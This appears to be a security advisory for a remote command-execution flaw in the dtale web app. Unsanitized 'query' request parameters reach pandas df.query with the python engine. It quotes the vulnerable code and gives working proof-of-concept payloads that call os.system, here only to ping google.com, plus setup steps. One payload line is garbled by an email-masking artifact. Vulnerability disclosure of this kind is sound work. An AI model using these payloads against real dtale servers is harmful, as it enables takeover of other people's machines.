credit:Aftersnows Gxh191 Hrp
Here is an analysis of the reasons for the vulnerability:
In dtale\\views.py
, under the route @dtale.route("/chart-data/<data_id>")
, the query parameters from the request are directly passed into run_query
for execution.
@dtale.route("/chart-data/<data_id>")
data = run_query(
handle_predefined(data_id),
build_query(data_id, get_str_arg(request, "query")),
global_state.get_context_variables(data_id),
)
And the run_query
function calls proceed without performing any processing or sanitization of the query
parameter. As a result, the query
is directly used in the df.query
method for data retrieval.
def run_query(
df,
query,
context_vars=None,
ignore_empty=False,
pct=100,
pct_type="random",
stratified_group=None,
highlight_filter=False,
):
is_pandas25 = check_pandas_version("0.25.0")
curr_app_settings = global_state.get_app_settings()
engine = curr_app_settings.get("query_engine", "python")
filtered_indexes = []
if highlight_filter:
filtered_indexes = set(
df.query(
query if is_pandas25 else query.replace("`", ""),
local_dict=context_vars or {},
engine=engine,
).index
)
else:
df = df.query(
query if is_pandas25 else query.replace("`", ""),
local_dict=context_vars or {},
engine=engine,
)
Moreover, the engine
used is "python":
engine = curr_app_settings.get("query_engine", "python")
Therefore, executing the following query expression can lead to a command execution vulnerability:
[email protected].__import__("os").system("""ping google.com #""")
Here I provide a demonstration that can cause command execution, to make it clearer and more observable
import pandas as pd
print(pd.__version__)
# 创建示例 DataFrame
df = pd.DataFrame({'a': [1, 2, 3], 'b': ['error_details', 'confidential_info', 'normal']})
# 尝试执行查询
query = '@pd.core.frame.com.builtins.__import__("os").system("""ping google.com #""")'
try:
engine = "python"
result = df.query(query,local_dict={},engine="python",).index
except Exception as e:
print(f'Error: {e}')
credit:Aftersnows@360 Vulnerability Research Institute
Environment Replication:
To set up and start dtale, you would typically follow these steps:
pip install 'dtale==3.13.1'
dtale
Then, by sending a malicious request, you can trigger the vulnerability.
Here, I choose to ping Google as a Proof of Concept (PoC) to demonstrate the vulnerability. In reality, this type of vulnerability could allow full control of the machine.